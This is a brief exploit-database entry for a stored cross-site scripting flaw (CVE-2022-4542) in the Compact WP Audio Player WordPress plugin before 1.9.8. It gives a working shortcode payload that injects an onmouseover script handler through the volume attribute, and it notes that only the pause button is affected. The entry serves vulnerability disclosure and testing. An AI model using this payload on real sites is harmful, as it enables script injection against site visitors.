Exploit for Compact WP Audio Player < 1.9.8 - Contributor+ Stored XSS CVE-2022-4542

Name: Exploit for Compact WP Audio Player < 1.9.8 - Contributor+ Stored XSS CVE-2022-4542
Rating: 5 (166 reviews)

2022-12-27 | CVSS 0.3

## https://sploitus.com/exploit?id=WPEX-ID:F0BEF96F-DFE2-4988-ADF8-E1BD493C5242
Exploit: [sc_embed_player fileurl='test.mp3' volume='20" onmouseover="alert(1)" ']

Note: The shortcode makes a play and a pause button, and only the pause button is XSS vulnerable.